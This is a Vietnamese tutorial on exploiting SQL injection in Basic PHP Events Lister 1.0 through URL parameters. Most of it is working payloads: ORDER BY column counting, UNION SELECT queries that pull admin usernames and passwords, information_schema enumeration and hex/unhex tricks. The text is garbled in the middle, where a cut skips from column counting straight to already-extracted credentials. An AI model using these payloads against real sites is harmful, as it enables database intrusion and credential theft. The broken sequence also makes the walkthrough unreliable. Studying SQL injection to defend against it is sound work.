Hướng dẫn sql injection phpmyadmin

I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL 
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 

Đầu tiên với URL: //seamoun.com/phpevents/event.php?id=1 
Thực hiện thêm dấu ' sau id=1. URL trở thành //seamoun.com/phpevents/event.php?id=1' 
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau: 

Code:

Warning: mysql_numrows[]: supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37

Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì? 
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn [SQL] của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này 
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau. 
[Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được]. 
Xác định có bao nhiêu trường truy vấn với URL //seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by . Thực hiện tăng dần . Khi thực hiện order by , nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường. 

Lần lượt mình thử: 
Code:

//seamoun.com/phpevents/event.php?id=1 order by 1
 //seamoun.com/phpevents/event.php?id=1 order by 2
 //seamoun.com/phpevents/event.php?id=1 order by 3
...

 //seamoun.com/phpevents/event.php?id=1 order by 15 [
dấu ":". Concat sẽ thực hiện cộng chuỗi 

Đến đây ta đã có thông tin uname và pword. 
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau 

Code:

Điều tra thông tin bảng:

 //seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

 //seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns

Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như: 
//seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex[hex[uname]],1,1,1,1,1,1,1,1,1,1,1,1 from admin 

II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 [milw0rm.com] 
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL - Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.

Chủ Đề